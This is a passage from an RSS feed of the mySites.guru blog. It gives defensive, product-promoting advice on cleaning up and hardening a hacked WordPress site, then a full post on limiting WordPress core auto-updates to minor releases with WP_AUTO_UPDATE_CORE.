&lt;p&gt;Before you start deleting files, take note of what&apos;s been compromised. mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content tool&lt;/a&gt; does this for you - it lists every flagged file with the exact matching lines, the threat type, and when the file was last modified. If a file looks suspicious but you&apos;re not sure what it does, the &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; can explain it in plain English with one click.&lt;/p&gt;
&lt;p&gt;This record matters because it tells you how the attacker got in, which you need to know to prevent reinfection.&lt;/p&gt;
&lt;h3&gt;3. Remove the malware&lt;/h3&gt;
&lt;p&gt;For each compromised file, you have two options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Core files&lt;/strong&gt; (wp-admin, wp-includes): Replace them with clean copies from wordpress.org. mySites.guru can &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;compare your core files against the originals&lt;/a&gt; and restore them with a single click - no FTP needed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Theme and plugin files&lt;/strong&gt;: Compare against the original versions. If the file shouldn&apos;t exist at all (random PHP files in your uploads folder, for example), delete it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;mySites.guru also has a built-in file editor that lets you view and edit any file on your server directly from the dashboard. When the audit flags a suspicious file, you can open it, inspect the code, remove the malicious content, and save it back - all without needing FTP or SSH access.&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;/p&gt;
&lt;figcaption&gt;The built-in file editor lets you view and edit files directly on your server to remove malicious code&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Our step-by-step guide covers the &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;full cleanup process&lt;/a&gt; using mySites.guru&apos;s tools.&lt;/p&gt;
&lt;h3&gt;4. Find and remove backdoors&lt;/h3&gt;
&lt;p&gt;Most people stop after removing the visible malware. That&apos;s why they get hacked again a week later.&lt;/p&gt;
&lt;p&gt;Attackers plant backdoor files in places you wouldn&apos;t normally look, specifically so they can get back in after cleanup:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Inside legitimate-looking plugin files&lt;/li&gt;
&lt;li&gt;In your theme&apos;s functions.php (buried among real code)&lt;/li&gt;
&lt;li&gt;As &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;dot-files&lt;/a&gt; (.htaccess modifications, hidden PHP files) that FTP clients don&apos;t even show you&lt;/li&gt;
&lt;li&gt;In the uploads directory disguised as images&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;deep security audit&lt;/a&gt; catches these because it checks every single file against 20,000+ regex patterns and 14,000+ known-bad file hashes. It doesn&apos;t just check the obvious locations - it scans your entire webspace, including the &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files and folders&lt;/a&gt; that most tools skip.&lt;/p&gt;
&lt;h3&gt;5. Update everything&lt;/h3&gt;
&lt;p&gt;After cleanup, update WordPress core, all plugins, and all themes to their latest versions. If you manage multiple sites, mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;bulk update tool&lt;/a&gt; lets you push updates across all of them from one dashboard. Remove any plugins or themes you&apos;re not using - deactivated plugins are still attackable.&lt;/p&gt;
&lt;p&gt;Check your plugins against known vulnerabilities. mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;vulnerability alerting&lt;/a&gt; cross-references every plugin on your site against CVE databases and alerts you when a plugin has a known security hole - so you can patch it before it gets exploited again.&lt;/p&gt;
&lt;h3&gt;6. Set up monitoring&lt;/h3&gt;
&lt;p&gt;A clean site today can be compromised again tomorrow if you&apos;re not watching it. mySites.guru gives you several layers of ongoing protection:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;Real-time file change alerts&lt;/a&gt; - get notified the moment any monitored file changes or an admin logs in&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;Scheduled security audits&lt;/a&gt; - automate daily or weekly scans so you don&apos;t have to remember to run them&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;Uptime monitoring&lt;/a&gt; - know within minutes if your site goes down, which can be an early sign of a new attack&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Automated snapshots&lt;/a&gt; - twice-daily checks of 140+ configuration settings so you can spot anything that changes unexpectedly&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Why do hacked WordPress sites keep getting reinfected?&lt;/h2&gt;
&lt;p&gt;Incomplete cleanup is the number one culprit. Miss one backdoor file and the attacker walks right back in. Often the first hack plants a dormant dropper that stays quiet through your cleanup, then &lt;a href=&quot;https://mysites.guru/blog/hacked-yesterday-exploited-today/&quot;&gt;reactivates days or weeks later in a second wave&lt;/a&gt; to install fresh backdoors.&lt;/p&gt;
&lt;p&gt;But even a perfect cleanup fails if you don&apos;t fix the entry point. If a vulnerable plugin got you hacked and you clean the malware but leave the plugin at the same version, you&apos;ll get hit through the same hole again. Same goes for weak passwords - if your admin account is still using &quot;password123&quot;, brute-force bots will find it.&lt;/p&gt;
&lt;h2&gt;When should you get professional help?&lt;/h2&gt;
&lt;p&gt;You can handle most WordPress hacks yourself with the right scanning tools. But consider getting professional help if:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Your hosting provider has suspended your account and won&apos;t reinstate it&lt;/li&gt;
&lt;li&gt;The hack involves a database injection (not just file modifications)&lt;/li&gt;
&lt;li&gt;Your site has been compromised for weeks or months and you&apos;re unsure of the full scope&lt;/li&gt;
&lt;li&gt;You&apos;re seeing signs of a targeted attack rather than an automated one&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; can help you understand exactly what each flagged file does, making it easier to decide whether to clean or delete it.&lt;/p&gt;
&lt;p&gt;If you&apos;d rather hand the whole thing to someone who&apos;s done it hundreds of times, the &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mySites.guru&lt;/a&gt; service covers the full cleanup - finding the entry point, removing every backdoor, updating everything, and locking the site down. One flat fee, no surprises.&lt;/p&gt;
&lt;h2&gt;How do you harden your WordPress site after cleanup?&lt;/h2&gt;
&lt;p&gt;Cleaning up the malware is half the job. The other half is understanding what&apos;s actually running on your server and making sure it&apos;s configured properly. Most site owners have no idea what&apos;s under the hood - debug mode left on, outdated PHP versions, missing security headers, exposed log files. These are the gaps attackers walk through.&lt;/p&gt;
&lt;p&gt;mySites.guru runs &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;140+ best-practice checks&lt;/a&gt; on every site, twice a day. It flags the stuff you&apos;d never think to check manually:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PHP version and configuration&lt;/strong&gt; - Running an outdated or end-of-life PHP version is an open invitation. The &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot tool&lt;/a&gt; shows you exactly which version each site runs and whether it meets current requirements.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Debug mode&lt;/strong&gt; - &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;WordPress debug constants&lt;/a&gt; left enabled on production sites leak error paths, database credentials, and internal file structures to anyone who knows where to look.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Security headers&lt;/strong&gt; - &lt;a href=&quot;https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/&quot;&gt;CSP, HSTS, X-Frame-Options, and Permissions-Policy&lt;/a&gt; defend against XSS, clickjacking, and protocol downgrade attacks. The snapshot checks all eight headers on every scan.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SSL certificates&lt;/strong&gt; - &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;Track every certificate&apos;s expiry date&lt;/a&gt; and get alerted before it lapses. An expired cert kills trust and can tank your rankings.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hidden files&lt;/strong&gt; - &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;Dot-files and dot-folders&lt;/a&gt; that FTP clients and file managers don&apos;t show you. Hackers love these blind spots.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Disk space&lt;/strong&gt; - &lt;a href=&quot;https://mysites.guru/blog/about-the-disk-space-warnings-in-mysites-guru/&quot;&gt;Server disk monitoring&lt;/a&gt; catches partitions filling up before your site crashes. A full disk also prevents log rotation, which masks future attacks.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Updates&lt;/strong&gt; - Keep core, plugins, and themes current. Use &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;bulk updates&lt;/a&gt; across multiple sites and remove anything you&apos;re not actively using - deactivated plugins are still attackable code.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Access control&lt;/strong&gt; - Strong, unique passwords for every admin account. &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;Role-based permissions&lt;/a&gt; so team members only have the access they need. On client sites, &lt;a href=&quot;https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/&quot;&gt;block plugin installs from the WordPress admin&lt;/a&gt; so nobody introduces untested code.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;File monitoring&lt;/strong&gt; - &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;Real-time alerts&lt;/a&gt; when any monitored file changes or an admin logs in, plus &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;scheduled security audits&lt;/a&gt; running daily or weekly so you catch issues before they become incidents.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Fix the hack, yes - but also understand your server&apos;s configuration and apply best practice across every site you manage. That&apos;s what stops the next attack.&lt;/p&gt;
&lt;h2&gt;Scan your site now&lt;/h2&gt;
&lt;p&gt;Catching a hack on day one is a 30-minute fix. Discovering it three weeks later, after Google has flagged your site and your rankings have tanked, is a different problem entirely.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Run a free security audit&lt;/a&gt; on your WordPress site. No credit card, takes about a minute, scans every file on the server.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If you manage multiple WordPress sites, mySites.guru scans and monitors all of them from &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;one dashboard&lt;/a&gt; - £19.99/month, no per-site fees.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;For the full picture, see our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;complete security guide for agencies&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>security</category><category>malware</category><category>hacked</category><enclosure url="https://mysites.guru/_astro/is-my-wordpress-site-hacked.fri__GMr.png" length="0" type="image/png"/></item><item><title>How to Enforce Minor Upgrades Only in WordPress</title><link>https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/</link><guid isPermaLink="true">https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/</guid><description>Stop WordPress from jumping major versions automatically while still getting security patches. How WP_AUTO_UPDATE_CORE works.</description><pubDate>Thu, 12 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We&apos;ve been writing a lot about WordPress and Joomla automatic updates lately. Previous posts covered &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;stopping all WordPress auto-updates with one click&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/&quot;&gt;locking down plugin installs&lt;/a&gt;, and what happened when the &lt;a href=&quot;https://mysites.guru/blog/wordpress-6-9-2-security-release-crashes-websites/&quot;&gt;WordPress 6.9.2 security release crashed sites&lt;/a&gt;. On the Joomla side, we looked at &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;disabling Joomla&apos;s new automated core upgrades&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/&quot;&gt;preventing accidental version jumps via update channels&lt;/a&gt;. This post covers the middle ground for WordPress: keep security patches coming, block major version jumps.&lt;/p&gt;
&lt;h2&gt;Why Aren&apos;t All WordPress Updates Equal?&lt;/h2&gt;
&lt;p&gt;WordPress has two types of core update, and the difference matters if you manage production sites.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Minor updates&lt;/strong&gt; (6.9 to 6.9.1, 6.9.1 to 6.9.2) are security patches and bug fixes. Small, targeted, designed not to break anything. WordPress has auto-applied these since version 3.7, and they rarely cause trouble. The &lt;a href=&quot;https://mysites.guru/blog/wordpress-6-9-2-security-release-crashes-websites/&quot;&gt;6.9.2 through 6.9.4 security releases&lt;/a&gt; are a recent example -- patches that sites needed within hours.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Major updates&lt;/strong&gt; (6.8 to 6.9, &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-fully-compatible-with-wordpress-7/&quot;&gt;6.9 to 7.0 &quot;Armstrong&quot;&lt;/a&gt;) introduce new features, change admin interfaces, update database schemas, deprecate functions, and sometimes alter how plugins interact with core. These are the updates that break things.&lt;/p&gt;
&lt;p&gt;You want minor updates to happen automatically -- security patches shouldn&apos;t wait. But you want to control when major updates happen, because you want to test first. WordPress has a constant for this: &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;How mySites.guru Handles Minor-Only Updates&lt;/h2&gt;
&lt;p&gt;mySites.guru&apos;s WordPress Configuration audit reads &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt; from every connected site during each &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt;. The connector checks whether the constant is defined and whether its value is exactly &lt;code&gt;&apos;minor&apos;&lt;/code&gt;. If not, the audit flags it.&lt;/p&gt;
&lt;p&gt;Click fix, and the connector writes &lt;code&gt;define(&apos;WP_AUTO_UPDATE_CORE&apos;, &apos;minor&apos;)&lt;/code&gt; to wp-config.php on the remote site. No SSH, no file editing, no logging into each WordPress admin.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;There&apos;s a separate check for &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;&lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt;&lt;/a&gt; too, because these two constants interact:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;AUTOMATIC_UPDATER_DISABLED = true&lt;/code&gt; + &lt;code&gt;WP_AUTO_UPDATE_CORE = &apos;minor&apos;&lt;/code&gt; -- No auto-updates at all (the disabled flag overrides everything)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AUTOMATIC_UPDATER_DISABLED = false&lt;/code&gt; + &lt;code&gt;WP_AUTO_UPDATE_CORE = &apos;minor&apos;&lt;/code&gt; -- Only minor core updates auto-apply (the recommended setup)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you&apos;ve already &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disabled the full auto-updater&lt;/a&gt; and want to re-enable just security patches, you need to set &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt; back to &lt;code&gt;false&lt;/code&gt; while keeping &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt; at &lt;code&gt;&apos;minor&apos;&lt;/code&gt;. The mySites.guru dashboard shows both constants side by side so you can configure each site to the exact update behaviour you want. See the full list of configuration checks on the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;features page&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;What WP_AUTO_UPDATE_CORE Actually Does&lt;/h2&gt;
&lt;p&gt;This constant in wp-config.php accepts three values:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Behaviour&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;true&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;All core updates happen automatically (minor and major)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;No core updates happen automatically&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&apos;minor&apos;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Only minor/security updates happen automatically&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The default behaviour when the constant isn&apos;t defined is that WordPress auto-applies minor updates. This has been the case since WordPress 3.7 introduced the automatic background update system.&lt;/p&gt;
&lt;p&gt;There&apos;s another wrinkle: WordPress automatically &lt;a href=&quot;https://developer.wordpress.org/reference/classes/wp_automatic_updater/is_vcs_checkout/&quot;&gt;disables all background updates&lt;/a&gt; if it detects version control. The auto-updater checks for &lt;code&gt;.git&lt;/code&gt;, &lt;code&gt;.svn&lt;/code&gt;, &lt;code&gt;.hg&lt;/code&gt;, and &lt;code&gt;.bzr&lt;/code&gt; directories, walking up from ABSPATH to the filesystem root. If it finds one, it won&apos;t auto-update anything - core, plugins, themes, or translations. The logic is in &lt;code&gt;WP_Automatic_Updater::is_vcs_checkout()&lt;/code&gt;, and you can override it with the &lt;code&gt;automatic_updates_is_vcs_checkout&lt;/code&gt; filter if you want auto-updates on a version-controlled site. But if you&apos;re deploying via Git and wondering why &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt; seems to do nothing, this is probably why.&lt;/p&gt;
&lt;p&gt;The other common problem: many hosting providers, one-click installers, and site migration tools set &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt; or leave it undefined, which can result in major updates being applied without warning.&lt;/p&gt;
&lt;p&gt;Note that &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt; only controls WordPress core updates. Plugin and theme auto-updates are managed separately through the WordPress admin or with the &lt;code&gt;auto_update_plugin&lt;/code&gt; and &lt;code&gt;auto_update_theme&lt;/code&gt; filters. If you want to &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;stop all automatic updates entirely&lt;/a&gt;, you need the &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt; constant instead -- but for most sites, minor-only core updates make more sense.&lt;/p&gt;
&lt;h2&gt;Why Are Major WordPress Auto-Updates Risky?&lt;/h2&gt;
&lt;p&gt;When major updates happen unattended, things break. A plugin that worked on 6.8 might call a function that&apos;s deprecated or removed in 6.9. The plugin author might have an update ready, but if WordPress core updates first, the site is down before anyone notices. Watching for &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;plugin vulnerabilities&lt;/a&gt; matters here too - a vulnerable plugin on a freshly updated core is a bad combination. The &lt;a href=&quot;https://mysites.guru/wordpress-vulnerability-scanner/&quot;&gt;WordPress vulnerability scanner&lt;/a&gt; gives you a cross-site view of every known CVE affecting your installed plugins.&lt;/p&gt;
&lt;p&gt;Themes are another weak point. Major updates sometimes change template hierarchy, block editor behaviour, or CSS loading order. Custom themes get hit hardest because they&apos;re rarely tested against pre-release WordPress builds. We saw this play out in real time when &lt;a href=&quot;https://mysites.guru/blog/wordpress-6-9-2-security-release-crashes-websites/&quot;&gt;WordPress 6.9.2 crashed sites&lt;/a&gt; running certain theme frameworks -- a security auto-update broke front-end rendering, and it took three releases in two days to sort it out.&lt;/p&gt;
&lt;p&gt;Database schema changes are the scariest part. Major updates occasionally modify tables, and if the update process gets interrupted -- server timeout, resource limits, a flaky connection -- you can end up with a half-migrated database that neither the old nor the new code can work with.&lt;/p&gt;
&lt;p&gt;And automatic updates skip staging entirely. You go from &quot;everything works&quot; to &quot;production is updated and you hope it works.&quot;&lt;/p&gt;
&lt;h2&gt;How Do You Set Up WordPress Minor-Only Updates Manually?&lt;/h2&gt;
&lt;p&gt;To restrict auto-updates to minor versions only, add this to wp-config.php:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;define(&apos;WP_AUTO_UPDATE_CORE&apos;, &apos;minor&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Place it before the &lt;code&gt;/* That&apos;s all, stop editing! */&lt;/code&gt; comment. If the constant already exists with a different value, change it.&lt;/p&gt;
&lt;p&gt;For a single site, this is a two-minute job. For a portfolio of WordPress sites, the process looks more like:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;SSH into each server (or use file manager on each hosting account)&lt;/li&gt;
&lt;li&gt;Check the current value of &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Set it to &lt;code&gt;&apos;minor&apos;&lt;/code&gt; if it&apos;s not already&lt;/li&gt;
&lt;li&gt;Verify the change took effect&lt;/li&gt;
&lt;li&gt;Repeat for every site&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;And then keep checking. WordPress upgrades, hosting migrations, and platform auto-configuration tools can reset the value without telling you. You should also consider &lt;a href=&quot;https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/&quot;&gt;locking down plugin installs&lt;/a&gt; so that nobody introduces untested code while you&apos;re carefully managing core updates.&lt;/p&gt;
&lt;h2&gt;The recommended WordPress update setup for production sites&lt;/h2&gt;
&lt;p&gt;The best approach is to &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disable automatic updates entirely&lt;/a&gt; and manage all updates through a proper deployment strategy: take &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backups&lt;/a&gt; first, test on staging, then &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;roll out in batches&lt;/a&gt; using the &lt;a href=&quot;https://mysites.guru/bulk-update-wordpress/&quot;&gt;bulk update WordPress&lt;/a&gt; tool so a bad update doesn&apos;t hit every site at once. That&apos;s how agencies and hosting providers who &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;manage large numbers of WordPress sites&lt;/a&gt; handle it.&lt;/p&gt;
&lt;p&gt;But if you can&apos;t commit to that workflow -- maybe you don&apos;t have staging environments for every site, or you don&apos;t check for updates often enough -- then minor-only auto-updates are a reasonable fallback:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Set &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt; to &lt;code&gt;&apos;minor&apos;&lt;/code&gt; so security patches still come through&lt;/li&gt;
&lt;li&gt;Leave &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt; at &lt;code&gt;false&lt;/code&gt; so the update mechanism actually works&lt;/li&gt;
&lt;li&gt;Turn off individual plugin and theme auto-updates -- handle those through your own workflow&lt;/li&gt;
&lt;li&gt;Use mySites.guru to see available major updates across all sites and apply them when you&apos;re ready&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;It&apos;s a compromise. You&apos;re trading some control for the assurance that critical security patches won&apos;t sit waiting while you get around to them.&lt;/p&gt;
&lt;h2&gt;Auditing This Setting Across Every Site&lt;/h2&gt;
&lt;p&gt;mySites.guru also lets you view &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt; across every connected WordPress site on a single screen. You can see which sites have it set correctly, which ones don&apos;t, and toggle each one individually without leaving the page.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;If you manage 20 sites, you fix 20 sites from one screen. If you manage 200, same screen. No spreadsheets, no SSH sessions, no logging into each WordPress admin to check a value buried in wp-config.php.&lt;/p&gt;
&lt;h2&gt;Ongoing monitoring with mySites.guru&lt;/h2&gt;
&lt;p&gt;Once minor-only updates are configured, mySites.guru keeps checking. The audit dashboard shows which sites have the correct setting, which have pending major updates, which have the auto-updater disabled entirely, and any sites where the configuration has drifted from what you set.&lt;/p&gt;
&lt;p&gt;This is how we handle other wp-config.php constants too -- &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;debug settings&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/&quot;&gt;DISALLOW_FILE_MODS&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;the WordPress admin bar logo&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/remove-sample-page-hello-world-wordpress-one-click/&quot;&gt;leftover default content like the Sample Page&lt;/a&gt;. Monitor on every snapshot, flag anything that changed, offer a one-click fix.&lt;/p&gt;
&lt;p&gt;Without that kind of visibility across your whole portfolio, you&apos;re just hoping. Hoping every site still has the right setting, that no hosting migration reset it, and that nobody changed it during a support ticket three months ago.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/advanced-administration/upgrade/upgrading/&quot;&gt;Configuring Automatic Background Updates&lt;/a&gt; -- WordPress Developer Resources documentation on all update types and how to configure them&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/apis/wp-config-php/&quot;&gt;wp-config.php Constants Reference&lt;/a&gt; -- official reference for WP_AUTO_UPDATE_CORE, AUTOMATIC_UPDATER_DISABLED, and every other wp-config.php constant&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/classes/wp_automatic_updater/&quot;&gt;WP_Automatic_Updater Class Reference&lt;/a&gt; -- the class that handles all automatic background updates, including VCS checkout detection and the should_update logic&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/classes/wp_automatic_updater/is_vcs_checkout/&quot;&gt;is_vcs_checkout() Method Reference&lt;/a&gt; -- how WordPress detects Git, SVN, Mercurial, and Bazaar to disable auto-updates&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/hooks/allow_major_auto_core_updates/&quot;&gt;allow_major_auto_core_updates Filter&lt;/a&gt; -- filter hook for programmatic control over major version auto-updates&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/hooks/allow_minor_auto_core_updates/&quot;&gt;allow_minor_auto_core_updates Filter&lt;/a&gt; -- filter hook for programmatic control over minor version auto-updates&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/hooks/automatic_updates_is_vcs_checkout/&quot;&gt;automatic_updates_is_vcs_checkout Filter&lt;/a&gt; -- filter to override WordPress&apos;s version control detection&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/functions/wp_version_check/&quot;&gt;wp_version_check() Function Reference&lt;/a&gt; -- the function WordPress uses to check for available core updates&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2013/10/25/the-definitive-guide-to-disabling-auto-updates-in-wordpress-3-7/&quot;&gt;The Definitive Guide to Disabling Auto Updates in WordPress 3.7&lt;/a&gt; -- the original Make WordPress Core post from when the auto-update system launched&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Version pinning is one of several strategies in our &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;updates at scale guide&lt;/a&gt;.&lt;/p&gt;
